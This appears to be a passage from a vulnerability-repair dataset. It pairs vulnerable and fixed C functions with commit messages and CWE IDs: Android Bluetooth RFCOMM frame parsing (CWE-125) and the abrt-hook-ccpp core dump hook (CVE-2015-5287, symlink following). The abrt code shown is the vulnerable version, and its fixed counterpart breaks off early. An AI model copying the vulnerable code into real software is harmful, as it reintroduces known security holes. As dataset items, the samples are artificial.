cr = (*p_data & RFCOMM_CR_MASK) >> RFCOMM_SHIFT_CR;
p_rx_frame->dlci = *p_data++ >> RFCOMM_SHIFT_DLCI;
if (!ea || !cr || !p_rx_frame->dlci ||
!RFCOMM_VALID_DLCI(p_rx_frame->dlci)) {
RFCOMM_TRACE_ERROR("Bad MSC frame");
break;
}
p_rx_frame->u.msc.signals = *p_data++;
if (mx_len == RFCOMM_MX_MSC_LEN_WITH_BREAK) {
p_rx_frame->u.msc.break_present =
*p_data & RFCOMM_MSC_BREAK_PRESENT_MASK;
p_rx_frame->u.msc.break_duration =
(*p_data & RFCOMM_MSC_BREAK_MASK) >> RFCOMM_MSC_SHIFT_BREAK;
} else {
p_rx_frame->u.msc.break_present = false;
p_rx_frame->u.msc.break_duration = 0;
}
osi_free(p_buf);
rfc_process_msc(p_mcb, is_command, p_rx_frame);
return;
case RFCOMM_MX_NSC:
if ((length != RFCOMM_MX_NSC_LEN) || !is_command) break;
p_rx_frame->u.nsc.ea = *p_data & RFCOMM_EA;
p_rx_frame->u.nsc.cr = (*p_data & RFCOMM_CR_MASK) >> RFCOMM_SHIFT_CR;
p_rx_frame->u.nsc.type = *p_data++ >> RFCOMM_SHIFT_DLCI;
osi_free(p_buf);
rfc_process_nsc(p_mcb, p_rx_frame);
return;
case RFCOMM_MX_RPN:
if ((length != RFCOMM_MX_RPN_REQ_LEN) && (length != RFCOMM_MX_RPN_LEN))
break;
ea = *p_data & RFCOMM_EA;
cr = (*p_data & RFCOMM_CR_MASK) >> RFCOMM_SHIFT_CR;
p_rx_frame->dlci = *p_data++ >> RFCOMM_SHIFT_DLCI;
if (!ea || !cr || !p_rx_frame->dlci ||
!RFCOMM_VALID_DLCI(p_rx_frame->dlci)) {
RFCOMM_TRACE_ERROR("Bad RPN frame");
break;
}
p_rx_frame->u.rpn.is_request = (length == RFCOMM_MX_RPN_REQ_LEN);
if (!p_rx_frame->u.rpn.is_request) {
p_rx_frame->u.rpn.baud_rate = *p_data++;
p_rx_frame->u.rpn.byte_size =
(*p_data >> RFCOMM_RPN_BITS_SHIFT) & RFCOMM_RPN_BITS_MASK;
p_rx_frame->u.rpn.stop_bits =
(*p_data >> RFCOMM_RPN_STOP_BITS_SHIFT) & RFCOMM_RPN_STOP_BITS_MASK;
p_rx_frame->u.rpn.parity =
(*p_data >> RFCOMM_RPN_PARITY_SHIFT) & RFCOMM_RPN_PARITY_MASK;
p_rx_frame->u.rpn.parity_type =
(*p_data++ >> RFCOMM_RPN_PARITY_TYPE_SHIFT) &
RFCOMM_RPN_PARITY_TYPE_MASK;
p_rx_frame->u.rpn.fc_type = *p_data++ & RFCOMM_FC_MASK;
p_rx_frame->u.rpn.xon_char = *p_data++;
p_rx_frame->u.rpn.xoff_char = *p_data++;
p_rx_frame->u.rpn.param_mask =
(*p_data + (*(p_data + 1) << 8)) & RFCOMM_RPN_PM_MASK;
}
osi_free(p_buf);
rfc_process_rpn(p_mcb, is_command, p_rx_frame->u.rpn.is_request,
p_rx_frame);
return;
case RFCOMM_MX_RLS:
if (length != RFCOMM_MX_RLS_LEN) break;
ea = *p_data & RFCOMM_EA;
cr = (*p_data & RFCOMM_CR_MASK) >> RFCOMM_SHIFT_CR;
p_rx_frame->dlci = *p_data++ >> RFCOMM_SHIFT_DLCI;
p_rx_frame->u.rls.line_status = (*p_data & ~0x01);
if (!ea || !cr || !p_rx_frame->dlci ||
!RFCOMM_VALID_DLCI(p_rx_frame->dlci)) {
RFCOMM_TRACE_ERROR("Bad RPN frame");
break;
}
osi_free(p_buf);
rfc_process_rls(p_mcb, is_command, p_rx_frame);
return;
}
osi_free(p_buf);
if (is_command) rfc_send_nsc(p_mcb);
}
Commit Message: Check remaining frame length in rfc_process_mx_message
Bug: 111936792
Bug: 80432928
Test: manual
Change-Id: Ie2c09f3d598fb230ce060c9043f5a88c241cdd79
(cherry picked from commit 0471355c8b035aaa2ce07a33eecad60ad49c5ad0)
CWE ID: CWE-125 | void rfc_process_mx_message(tRFC_MCB* p_mcb, BT_HDR* p_buf) {
uint8_t* p_data = (uint8_t*)(p_buf + 1) + p_buf->offset;
MX_FRAME* p_rx_frame = &rfc_cb.rfc.rx_frame;
uint16_t length = p_buf->len;
uint8_t ea, cr, mx_len;
bool is_command;
if (length < 2) {
RFCOMM_TRACE_ERROR(
"%s: Illegal MX Frame len when reading EA, C/R. len:%d < 2", __func__,
length);
android_errorWriteLog(0x534e4554, "111937065");
osi_free(p_buf);
return;
}
p_rx_frame->ea = *p_data & RFCOMM_EA;
p_rx_frame->cr = (*p_data & RFCOMM_CR_MASK) >> RFCOMM_SHIFT_CR;
p_rx_frame->type = *p_data++ & ~(RFCOMM_CR_MASK | RFCOMM_EA_MASK);
if (!p_rx_frame->ea || !length) {
LOG(ERROR) << __func__
<< ": Invalid MX frame ea=" << std::to_string(p_rx_frame->ea)
<< ", len=" << length << ", bd_addr=" << p_mcb->bd_addr;
osi_free(p_buf);
return;
}
length--;
is_command = p_rx_frame->cr;
ea = *p_data & RFCOMM_EA;
mx_len = *p_data++ >> RFCOMM_SHIFT_LENGTH1;
length--;
if (!ea) {
if (length < 1) {
RFCOMM_TRACE_ERROR("%s: Illegal MX Frame when EA = 0. len:%d < 1",
__func__, length);
android_errorWriteLog(0x534e4554, "111937065");
osi_free(p_buf);
return;
}
mx_len += *p_data++ << RFCOMM_SHIFT_LENGTH2;
length--;
}
if (mx_len != length) {
LOG(ERROR) << __func__ << ": Bad MX frame, p_mcb=" << p_mcb
<< ", bd_addr=" << p_mcb->bd_addr;
osi_free(p_buf);
return;
}
RFCOMM_TRACE_DEBUG("%s: type=%d, p_mcb=%p", __func__, p_rx_frame->type,
p_mcb);
switch (p_rx_frame->type) {
case RFCOMM_MX_PN:
if (length != RFCOMM_MX_PN_LEN) {
LOG(ERROR) << __func__ << ": Invalid PN length, p_mcb=" << p_mcb
<< ", bd_addr=" << p_mcb->bd_addr;
break;
}
p_rx_frame->dlci = *p_data++ & RFCOMM_PN_DLCI_MASK;
p_rx_frame->u.pn.frame_type = *p_data & RFCOMM_PN_FRAME_TYPE_MASK;
p_rx_frame->u.pn.conv_layer = *p_data++ & RFCOMM_PN_CONV_LAYER_MASK;
p_rx_frame->u.pn.priority = *p_data++ & RFCOMM_PN_PRIORITY_MASK;
p_rx_frame->u.pn.t1 = *p_data++;
p_rx_frame->u.pn.mtu = *p_data + (*(p_data + 1) << 8);
p_data += 2;
p_rx_frame->u.pn.n2 = *p_data++;
p_rx_frame->u.pn.k = *p_data++ & RFCOMM_PN_K_MASK;
if (!p_rx_frame->dlci || !RFCOMM_VALID_DLCI(p_rx_frame->dlci) ||
(p_rx_frame->u.pn.mtu < RFCOMM_MIN_MTU) ||
(p_rx_frame->u.pn.mtu > RFCOMM_MAX_MTU)) {
LOG(ERROR) << __func__ << ": Bad PN frame, p_mcb=" << p_mcb
<< ", bd_addr=" << p_mcb->bd_addr;
break;
}
osi_free(p_buf);
rfc_process_pn(p_mcb, is_command, p_rx_frame);
return;
case RFCOMM_MX_TEST:
if (!length) break;
p_rx_frame->u.test.p_data = p_data;
p_rx_frame->u.test.data_len = length;
p_buf->offset += 2;
p_buf->len -= 2;
if (is_command)
rfc_send_test(p_mcb, false, p_buf);
else
rfc_process_test_rsp(p_mcb, p_buf);
return;
case RFCOMM_MX_FCON:
if (length != RFCOMM_MX_FCON_LEN) break;
osi_free(p_buf);
rfc_process_fcon(p_mcb, is_command);
return;
case RFCOMM_MX_FCOFF:
if (length != RFCOMM_MX_FCOFF_LEN) break;
osi_free(p_buf);
rfc_process_fcoff(p_mcb, is_command);
return;
case RFCOMM_MX_MSC:
if (length != RFCOMM_MX_MSC_LEN_WITH_BREAK &&
length != RFCOMM_MX_MSC_LEN_NO_BREAK) {
RFCOMM_TRACE_ERROR("%s: Illegal MX MSC Frame len:%d", __func__, length);
android_errorWriteLog(0x534e4554, "111937065");
osi_free(p_buf);
return;
}
ea = *p_data & RFCOMM_EA;
cr = (*p_data & RFCOMM_CR_MASK) >> RFCOMM_SHIFT_CR;
p_rx_frame->dlci = *p_data++ >> RFCOMM_SHIFT_DLCI;
if (!ea || !cr || !p_rx_frame->dlci ||
!RFCOMM_VALID_DLCI(p_rx_frame->dlci)) {
RFCOMM_TRACE_ERROR("Bad MSC frame");
break;
}
p_rx_frame->u.msc.signals = *p_data++;
if (mx_len == RFCOMM_MX_MSC_LEN_WITH_BREAK) {
p_rx_frame->u.msc.break_present =
*p_data & RFCOMM_MSC_BREAK_PRESENT_MASK;
p_rx_frame->u.msc.break_duration =
(*p_data & RFCOMM_MSC_BREAK_MASK) >> RFCOMM_MSC_SHIFT_BREAK;
} else {
p_rx_frame->u.msc.break_present = false;
p_rx_frame->u.msc.break_duration = 0;
}
osi_free(p_buf);
rfc_process_msc(p_mcb, is_command, p_rx_frame);
return;
case RFCOMM_MX_NSC:
if ((length != RFCOMM_MX_NSC_LEN) || !is_command) break;
p_rx_frame->u.nsc.ea = *p_data & RFCOMM_EA;
p_rx_frame->u.nsc.cr = (*p_data & RFCOMM_CR_MASK) >> RFCOMM_SHIFT_CR;
p_rx_frame->u.nsc.type = *p_data++ >> RFCOMM_SHIFT_DLCI;
osi_free(p_buf);
rfc_process_nsc(p_mcb, p_rx_frame);
return;
case RFCOMM_MX_RPN:
if ((length != RFCOMM_MX_RPN_REQ_LEN) && (length != RFCOMM_MX_RPN_LEN))
break;
ea = *p_data & RFCOMM_EA;
cr = (*p_data & RFCOMM_CR_MASK) >> RFCOMM_SHIFT_CR;
p_rx_frame->dlci = *p_data++ >> RFCOMM_SHIFT_DLCI;
if (!ea || !cr || !p_rx_frame->dlci ||
!RFCOMM_VALID_DLCI(p_rx_frame->dlci)) {
RFCOMM_TRACE_ERROR("Bad RPN frame");
break;
}
p_rx_frame->u.rpn.is_request = (length == RFCOMM_MX_RPN_REQ_LEN);
if (!p_rx_frame->u.rpn.is_request) {
p_rx_frame->u.rpn.baud_rate = *p_data++;
p_rx_frame->u.rpn.byte_size =
(*p_data >> RFCOMM_RPN_BITS_SHIFT) & RFCOMM_RPN_BITS_MASK;
p_rx_frame->u.rpn.stop_bits =
(*p_data >> RFCOMM_RPN_STOP_BITS_SHIFT) & RFCOMM_RPN_STOP_BITS_MASK;
p_rx_frame->u.rpn.parity =
(*p_data >> RFCOMM_RPN_PARITY_SHIFT) & RFCOMM_RPN_PARITY_MASK;
p_rx_frame->u.rpn.parity_type =
(*p_data++ >> RFCOMM_RPN_PARITY_TYPE_SHIFT) &
RFCOMM_RPN_PARITY_TYPE_MASK;
p_rx_frame->u.rpn.fc_type = *p_data++ & RFCOMM_FC_MASK;
p_rx_frame->u.rpn.xon_char = *p_data++;
p_rx_frame->u.rpn.xoff_char = *p_data++;
p_rx_frame->u.rpn.param_mask =
(*p_data + (*(p_data + 1) << 8)) & RFCOMM_RPN_PM_MASK;
}
osi_free(p_buf);
rfc_process_rpn(p_mcb, is_command, p_rx_frame->u.rpn.is_request,
p_rx_frame);
return;
case RFCOMM_MX_RLS:
if (length != RFCOMM_MX_RLS_LEN) break;
ea = *p_data & RFCOMM_EA;
cr = (*p_data & RFCOMM_CR_MASK) >> RFCOMM_SHIFT_CR;
p_rx_frame->dlci = *p_data++ >> RFCOMM_SHIFT_DLCI;
p_rx_frame->u.rls.line_status = (*p_data & ~0x01);
if (!ea || !cr || !p_rx_frame->dlci ||
!RFCOMM_VALID_DLCI(p_rx_frame->dlci)) {
RFCOMM_TRACE_ERROR("Bad RPN frame");
break;
}
osi_free(p_buf);
rfc_process_rls(p_mcb, is_command, p_rx_frame);
return;
}
osi_free(p_buf);
if (is_command) rfc_send_nsc(p_mcb);
}
| 174,082 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: int main(int argc, char** argv)
{
/* Kernel starts us with all fd's closed.
* But it's dangerous:
* fprintf(stderr) can dump messages into random fds, etc.
* Ensure that if any of fd 0,1,2 is closed, we open it to /dev/null.
*/
int fd = xopen("/dev/null", O_RDWR);
while (fd < 2)
fd = xdup(fd);
if (fd > 2)
close(fd);
int err = 1;
logmode = LOGMODE_JOURNAL;
/* Parse abrt.conf */
load_abrt_conf();
/* ... and plugins/CCpp.conf */
bool setting_MakeCompatCore;
bool setting_SaveBinaryImage;
bool setting_SaveFullCore;
bool setting_CreateCoreBacktrace;
bool setting_SaveContainerizedPackageData;
bool setting_StandaloneHook;
{
map_string_t *settings = new_map_string();
load_abrt_plugin_conf_file("CCpp.conf", settings);
const char *value;
value = get_map_string_item_or_NULL(settings, "MakeCompatCore");
setting_MakeCompatCore = value && string_to_bool(value);
value = get_map_string_item_or_NULL(settings, "SaveBinaryImage");
setting_SaveBinaryImage = value && string_to_bool(value);
value = get_map_string_item_or_NULL(settings, "SaveFullCore");
setting_SaveFullCore = value ? string_to_bool(value) : true;
value = get_map_string_item_or_NULL(settings, "CreateCoreBacktrace");
setting_CreateCoreBacktrace = value ? string_to_bool(value) : true;
value = get_map_string_item_or_NULL(settings, "SaveContainerizedPackageData");
setting_SaveContainerizedPackageData = value && string_to_bool(value);
/* Do not call abrt-action-save-package-data with process's root, if ExploreChroots is disabled. */
if (!g_settings_explorechroots)
{
if (setting_SaveContainerizedPackageData)
log_warning("Ignoring SaveContainerizedPackageData because ExploreChroots is disabled");
setting_SaveContainerizedPackageData = false;
}
value = get_map_string_item_or_NULL(settings, "StandaloneHook");
setting_StandaloneHook = value && string_to_bool(value);
value = get_map_string_item_or_NULL(settings, "VerboseLog");
if (value)
g_verbose = xatoi_positive(value);
free_map_string(settings);
}
if (argc == 2 && strcmp(argv[1], "--config-test"))
return test_configuration(setting_SaveFullCore, setting_CreateCoreBacktrace);
if (argc < 8)
{
/* percent specifier: %s %c %p %u %g %t %e %P %i*/
/* argv: [0] [1] [2] [3] [4] [5] [6] [7] [8] [9]*/
error_msg_and_die("Usage: %s SIGNO CORE_SIZE_LIMIT PID UID GID TIME BINARY_NAME GLOBAL_PID [TID]", argv[0]);
}
/* Not needed on 2.6.30.
* At least 2.6.18 has a bug where
* argv[1] = "SIGNO CORE_SIZE_LIMIT PID ..."
* argv[2] = "CORE_SIZE_LIMIT PID ..."
* and so on. Fixing it:
*/
if (strchr(argv[1], ' '))
{
int i;
for (i = 1; argv[i]; i++)
{
strchrnul(argv[i], ' ')[0] = '\0';
}
}
errno = 0;
const char* signal_str = argv[1];
int signal_no = xatoi_positive(signal_str);
off_t ulimit_c = strtoull(argv[2], NULL, 10);
if (ulimit_c < 0) /* unlimited? */
{
/* set to max possible >0 value */
ulimit_c = ~((off_t)1 << (sizeof(off_t)*8-1));
}
const char *pid_str = argv[3];
pid_t local_pid = xatoi_positive(argv[3]);
uid_t uid = xatoi_positive(argv[4]);
if (errno || local_pid <= 0)
{
perror_msg_and_die("PID '%s' or limit '%s' is bogus", argv[3], argv[2]);
}
{
char *s = xmalloc_fopen_fgetline_fclose(VAR_RUN"/abrt/saved_core_pattern");
/* If we have a saved pattern and it's not a "|PROG ARGS" thing... */
if (s && s[0] != '|')
core_basename = s;
else
free(s);
}
const char *global_pid_str = argv[8];
pid_t pid = xatoi_positive(argv[8]);
pid_t tid = -1;
const char *tid_str = argv[9];
if (tid_str)
{
tid = xatoi_positive(tid_str);
}
char path[PATH_MAX];
char *executable = get_executable(pid);
if (executable && strstr(executable, "/abrt-hook-ccpp"))
{
error_msg_and_die("PID %lu is '%s', not dumping it to avoid recursion",
(long)pid, executable);
}
user_pwd = get_cwd(pid); /* may be NULL on error */
log_notice("user_pwd:'%s'", user_pwd);
sprintf(path, "/proc/%lu/status", (long)pid);
char *proc_pid_status = xmalloc_xopen_read_close(path, /*maxsz:*/ NULL);
uid_t fsuid = uid;
uid_t tmp_fsuid = get_fsuid(proc_pid_status);
if (tmp_fsuid < 0)
perror_msg_and_die("Can't parse 'Uid: line' in /proc/%lu/status", (long)pid);
const int fsgid = get_fsgid(proc_pid_status);
if (fsgid < 0)
error_msg_and_die("Can't parse 'Gid: line' in /proc/%lu/status", (long)pid);
int suid_policy = dump_suid_policy();
if (tmp_fsuid != uid)
{
/* use root for suided apps unless it's explicitly set to UNSAFE */
fsuid = 0;
if (suid_policy == DUMP_SUID_UNSAFE)
fsuid = tmp_fsuid;
else
{
g_user_core_flags = O_EXCL;
g_need_nonrelative = 1;
}
}
/* Open a fd to compat coredump, if requested and is possible */
int user_core_fd = -1;
if (setting_MakeCompatCore && ulimit_c != 0)
/* note: checks "user_pwd == NULL" inside; updates core_basename */
user_core_fd = open_user_core(uid, fsuid, fsgid, pid, &argv[1]);
if (executable == NULL)
{
/* readlink on /proc/$PID/exe failed, don't create abrt dump dir */
error_msg("Can't read /proc/%lu/exe link", (long)pid);
return create_user_core(user_core_fd, pid, ulimit_c);
}
const char *signame = NULL;
if (!signal_is_fatal(signal_no, &signame))
return create_user_core(user_core_fd, pid, ulimit_c); // not a signal we care about
const int abrtd_running = daemon_is_ok();
if (!setting_StandaloneHook && !abrtd_running)
{
/* not an error, exit with exit code 0 */
log("abrtd is not running. If it crashed, "
"/proc/sys/kernel/core_pattern contains a stale value, "
"consider resetting it to 'core'"
);
return create_user_core(user_core_fd, pid, ulimit_c);
}
if (setting_StandaloneHook)
ensure_writable_dir(g_settings_dump_location, DEFAULT_DUMP_LOCATION_MODE, "abrt");
if (g_settings_nMaxCrashReportsSize > 0)
{
/* If free space is less than 1/4 of MaxCrashReportsSize... */
if (low_free_space(g_settings_nMaxCrashReportsSize, g_settings_dump_location))
return create_user_core(user_core_fd, pid, ulimit_c);
}
/* Check /var/tmp/abrt/last-ccpp marker, do not dump repeated crashes
* if they happen too often. Else, write new marker value.
*/
snprintf(path, sizeof(path), "%s/last-ccpp", g_settings_dump_location);
if (check_recent_crash_file(path, executable))
{
/* It is a repeating crash */
return create_user_core(user_core_fd, pid, ulimit_c);
}
const char *last_slash = strrchr(executable, '/');
if (last_slash && strncmp(++last_slash, "abrt", 4) == 0)
{
if (g_settings_debug_level == 0)
{
log_warning("Ignoring crash of %s (SIG%s).",
executable, signame ? signame : signal_str);
goto cleanup_and_exit;
}
/* If abrtd/abrt-foo crashes, we don't want to create a _directory_,
* since that can make new copy of abrtd to process it,
* and maybe crash again...
* Unlike dirs, mere files are ignored by abrtd.
*/
if (snprintf(path, sizeof(path), "%s/%s-coredump", g_settings_dump_location, last_slash) >= sizeof(path))
error_msg_and_die("Error saving '%s': truncated long file path", path);
int abrt_core_fd = xopen3(path, O_WRONLY | O_CREAT | O_TRUNC, 0600);
off_t core_size = copyfd_eof(STDIN_FILENO, abrt_core_fd, COPYFD_SPARSE);
if (core_size < 0 || fsync(abrt_core_fd) != 0)
{
unlink(path);
/* copyfd_eof logs the error including errno string,
* but it does not log file name */
error_msg_and_die("Error saving '%s'", path);
}
log_notice("Saved core dump of pid %lu (%s) to %s (%llu bytes)", (long)pid, executable, path, (long long)core_size);
err = 0;
goto cleanup_and_exit;
}
unsigned path_len = snprintf(path, sizeof(path), "%s/ccpp-%s-%lu.new",
g_settings_dump_location, iso_date_string(NULL), (long)pid);
if (path_len >= (sizeof(path) - sizeof("/"FILENAME_COREDUMP)))
{
return create_user_core(user_core_fd, pid, ulimit_c);
}
/* If you don't want to have fs owner as root then:
*
* - use fsuid instead of uid for fs owner, so we don't expose any
* sensitive information of suided app in /var/(tmp|spool)/abrt
*
* - use dd_create_skeleton() and dd_reset_ownership(), when you finish
* creating the new dump directory, to prevent the real owner to write to
* the directory until the hook is done (avoid race conditions and defend
* hard and symbolic link attacs)
*/
dd = dd_create(path, /*fs owner*/0, DEFAULT_DUMP_DIR_MODE);
if (dd)
{
char source_filename[sizeof("/proc/%lu/somewhat_long_name") + sizeof(long)*3];
int source_base_ofs = sprintf(source_filename, "/proc/%lu/root", (long)pid);
source_base_ofs -= strlen("root");
/* What's wrong on using /proc/[pid]/root every time ?*/
/* It creates os_info_in_root_dir for all crashes. */
char *rootdir = process_has_own_root(pid) ? get_rootdir(pid) : NULL;
/* Reading data from an arbitrary root directory is not secure. */
if (g_settings_explorechroots)
{
/* Yes, test 'rootdir' but use 'source_filename' because 'rootdir' can
* be '/' for a process with own namespace. 'source_filename' is /proc/[pid]/root. */
dd_create_basic_files(dd, fsuid, (rootdir != NULL) ? source_filename : NULL);
}
else
{
dd_create_basic_files(dd, fsuid, NULL);
}
char *dest_filename = concat_path_file(dd->dd_dirname, "also_somewhat_longish_name");
char *dest_base = strrchr(dest_filename, '/') + 1;
strcpy(source_filename + source_base_ofs, "maps");
dd_copy_file(dd, FILENAME_MAPS, source_filename);
strcpy(source_filename + source_base_ofs, "limits");
dd_copy_file(dd, FILENAME_LIMITS, source_filename);
strcpy(source_filename + source_base_ofs, "cgroup");
dd_copy_file(dd, FILENAME_CGROUP, source_filename);
strcpy(source_filename + source_base_ofs, "mountinfo");
dd_copy_file(dd, FILENAME_MOUNTINFO, source_filename);
strcpy(dest_base, FILENAME_OPEN_FDS);
strcpy(source_filename + source_base_ofs, "fd");
dump_fd_info_ext(dest_filename, source_filename, dd->dd_uid, dd->dd_gid);
strcpy(dest_base, FILENAME_NAMESPACES);
dump_namespace_diff_ext(dest_filename, 1, pid, dd->dd_uid, dd->dd_gid);
free(dest_filename);
char *tmp = NULL;
get_env_variable(pid, "container", &tmp);
if (tmp != NULL)
{
dd_save_text(dd, FILENAME_CONTAINER, tmp);
free(tmp);
tmp = NULL;
}
get_env_variable(pid, "container_uuid", &tmp);
if (tmp != NULL)
{
dd_save_text(dd, FILENAME_CONTAINER_UUID, tmp);
free(tmp);
}
/* There's no need to compare mount namespaces and search for '/' in
* mountifo. Comparison of inodes of '/proc/[pid]/root' and '/' works
* fine. If those inodes do not equal each other, we have to verify
* that '/proc/[pid]/root' is not a symlink to a chroot.
*/
const int containerized = (rootdir != NULL && strcmp(rootdir, "/") == 0);
if (containerized)
{
log_debug("Process %d is considered to be containerized", pid);
pid_t container_pid;
if (get_pid_of_container(pid, &container_pid) == 0)
{
char *container_cmdline = get_cmdline(container_pid);
dd_save_text(dd, FILENAME_CONTAINER_CMDLINE, container_cmdline);
free(container_cmdline);
}
}
dd_save_text(dd, FILENAME_ANALYZER, "abrt-ccpp");
dd_save_text(dd, FILENAME_TYPE, "CCpp");
dd_save_text(dd, FILENAME_EXECUTABLE, executable);
dd_save_text(dd, FILENAME_PID, pid_str);
dd_save_text(dd, FILENAME_GLOBAL_PID, global_pid_str);
dd_save_text(dd, FILENAME_PROC_PID_STATUS, proc_pid_status);
if (user_pwd)
dd_save_text(dd, FILENAME_PWD, user_pwd);
if (tid_str)
dd_save_text(dd, FILENAME_TID, tid_str);
if (rootdir)
{
if (strcmp(rootdir, "/") != 0)
dd_save_text(dd, FILENAME_ROOTDIR, rootdir);
}
free(rootdir);
char *reason = xasprintf("%s killed by SIG%s",
last_slash, signame ? signame : signal_str);
dd_save_text(dd, FILENAME_REASON, reason);
free(reason);
char *cmdline = get_cmdline(pid);
dd_save_text(dd, FILENAME_CMDLINE, cmdline ? : "");
free(cmdline);
char *environ = get_environ(pid);
dd_save_text(dd, FILENAME_ENVIRON, environ ? : "");
free(environ);
char *fips_enabled = xmalloc_fopen_fgetline_fclose("/proc/sys/crypto/fips_enabled");
if (fips_enabled)
{
if (strcmp(fips_enabled, "0") != 0)
dd_save_text(dd, "fips_enabled", fips_enabled);
free(fips_enabled);
}
dd_save_text(dd, FILENAME_ABRT_VERSION, VERSION);
/* In case of errors, treat the process as if it has locked memory */
long unsigned lck_bytes = ULONG_MAX;
const char *vmlck = strstr(proc_pid_status, "VmLck:");
if (vmlck == NULL)
error_msg("/proc/%s/status does not contain 'VmLck:' line", pid_str);
else if (1 != sscanf(vmlck + 6, "%lu kB\n", &lck_bytes))
error_msg("Failed to parse 'VmLck:' line in /proc/%s/status", pid_str);
if (lck_bytes)
{
log_notice("Process %s of user %lu has locked memory",
pid_str, (long unsigned)uid);
dd_mark_as_notreportable(dd, "The process had locked memory "
"which usually indicates efforts to protect sensitive "
"data (passwords) from being written to disk.\n"
"In order to avoid sensitive information leakages, "
"ABRT will not allow you to report this problem to "
"bug tracking tools");
}
if (setting_SaveBinaryImage)
{
if (save_crashing_binary(pid, dd))
{
error_msg("Error saving '%s'", path);
goto cleanup_and_exit;
}
}
off_t core_size = 0;
if (setting_SaveFullCore)
{
strcpy(path + path_len, "/"FILENAME_COREDUMP);
int abrt_core_fd = create_or_die(path, user_core_fd);
/* We write both coredumps at once.
* We can't write user coredump first, since it might be truncated
* and thus can't be copied and used as abrt coredump;
* and if we write abrt coredump first and then copy it as user one,
* then we have a race when process exits but coredump does not exist yet:
* $ echo -e '#include<signal.h>\nmain(){raise(SIGSEGV);}' | gcc -o test -x c -
* $ rm -f core*; ulimit -c unlimited; ./test; ls -l core*
* 21631 Segmentation fault (core dumped) ./test
* ls: cannot access core*: No such file or directory <=== BAD
*/
core_size = copyfd_sparse(STDIN_FILENO, abrt_core_fd, user_core_fd, ulimit_c);
close_user_core(user_core_fd, core_size);
if (fsync(abrt_core_fd) != 0 || close(abrt_core_fd) != 0 || core_size < 0)
{
unlink(path);
/* copyfd_sparse logs the error including errno string,
* but it does not log file name */
error_msg("Error writing '%s'", path);
goto cleanup_and_exit;
}
}
else
{
/* User core is created even if WriteFullCore is off. */
create_user_core(user_core_fd, pid, ulimit_c);
}
/* User core is either written or closed */
user_core_fd = -1;
/*
* ! No other errors should cause removal of the user core !
*/
/* Because of #1211835 and #1126850 */
#if 0
/* Save JVM crash log if it exists. (JVM's coredump per se
* is nearly useless for JVM developers)
*/
{
char *java_log = xasprintf("/tmp/jvm-%lu/hs_error.log", (long)pid);
int src_fd = open(java_log, O_RDONLY);
free(java_log);
/* If we couldn't open the error log in /tmp directory we can try to
* read the log from the current directory. It may produce AVC, it
* may produce some error log but all these are expected.
*/
if (src_fd < 0)
{
java_log = xasprintf("%s/hs_err_pid%lu.log", user_pwd, (long)pid);
src_fd = open(java_log, O_RDONLY);
free(java_log);
}
if (src_fd >= 0)
{
strcpy(path + path_len, "/hs_err.log");
int dst_fd = create_or_die(path, user_core_fd);
off_t sz = copyfd_eof(src_fd, dst_fd, COPYFD_SPARSE);
if (close(dst_fd) != 0 || sz < 0)
{
error_msg("Error saving '%s'", path);
goto cleanup_and_exit;
}
close(src_fd);
}
}
#endif
/* Perform crash-time unwind of the guilty thread. */
if (tid > 0 && setting_CreateCoreBacktrace)
create_core_backtrace(tid, executable, signal_no, dd);
/* We close dumpdir before we start catering for crash storm case.
* Otherwise, delete_dump_dir's from other concurrent
* CCpp's won't be able to delete our dump (their delete_dump_dir
* will wait for us), and we won't be able to delete their dumps.
* Classic deadlock.
*/
dd_close(dd);
dd = NULL;
path[path_len] = '\0'; /* path now contains only directory name */
if (abrtd_running && setting_SaveContainerizedPackageData && containerized)
{ /* Do we really need to run rpm from core_pattern hook? */
sprintf(source_filename, "/proc/%lu/root", (long)pid);
const char *cmd_args[6];
cmd_args[0] = BIN_DIR"/abrt-action-save-package-data";
cmd_args[1] = "-d";
cmd_args[2] = path;
cmd_args[3] = "-r";
cmd_args[4] = source_filename;
cmd_args[5] = NULL;
pid_t pid = fork_execv_on_steroids(0, (char **)cmd_args, NULL, NULL, path, 0);
int stat;
safe_waitpid(pid, &stat, 0);
}
char *newpath = xstrndup(path, path_len - (sizeof(".new")-1));
if (rename(path, newpath) == 0)
strcpy(path, newpath);
free(newpath);
if (core_size > 0)
log_notice("Saved core dump of pid %lu (%s) to %s (%llu bytes)",
(long)pid, executable, path, (long long)core_size);
if (abrtd_running)
notify_new_path(path);
/* rhbz#539551: "abrt going crazy when crashing process is respawned" */
if (g_settings_nMaxCrashReportsSize > 0)
{
/* x1.25 and round up to 64m: go a bit up, so that usual in-daemon trimming
* kicks in first, and we don't "fight" with it:
*/
unsigned maxsize = g_settings_nMaxCrashReportsSize + g_settings_nMaxCrashReportsSize / 4;
maxsize |= 63;
trim_problem_dirs(g_settings_dump_location, maxsize * (double)(1024*1024), path);
}
err = 0;
}
else
{
/* We didn't create abrt dump, but may need to create compat coredump */
return create_user_core(user_core_fd, pid, ulimit_c);
}
cleanup_and_exit:
if (dd)
dd_delete(dd);
if (user_core_fd >= 0)
unlinkat(dirfd(proc_cwd), core_basename, /*only files*/0);
if (proc_cwd != NULL)
closedir(proc_cwd);
return err;
}
Commit Message: ccpp: save abrt core files only to new files
Prior this commit abrt-hook-ccpp saved a core file generated by a
process running a program whose name starts with "abrt" in
DUMP_LOCATION/$(basename program)-coredump. If the file was a symlink,
the hook followed and wrote core file to the symlink's target.
Addresses CVE-2015-5287
Signed-off-by: Jakub Filak <[email protected]>
CWE ID: CWE-59 | int main(int argc, char** argv)
{
/* Kernel starts us with all fd's closed.
* But it's dangerous:
* fprintf(stderr) can dump messages into random fds, etc.
* Ensure that if any of fd 0,1,2 is closed, we open it to /dev/null.
*/
int fd = xopen("/dev/null", O_RDWR);
while (fd < 2)
fd = xdup(fd);
if (fd > 2)
close(fd);
int err = 1;
logmode = LOGMODE_JOURNAL;
/* Parse abrt.conf */
load_abrt_conf();
/* ... and plugins/CCpp.conf */
bool setting_MakeCompatCore;
bool setting_SaveBinaryImage;
bool setting_SaveFullCore;
bool setting_CreateCoreBacktrace;
bool setting_SaveContainerizedPackageData;
bool setting_StandaloneHook;
{
map_string_t *settings = new_map_string();
load_abrt_plugin_conf_file("CCpp.conf", settings);
const char *value;
value = get_map_string_item_or_NULL(settings, "MakeCompatCore");
setting_MakeCompatCore = value && string_to_bool(value);
value = get_map_string_item_or_NULL(settings, "SaveBinaryImage");
setting_SaveBinaryImage = value && string_to_bool(value);
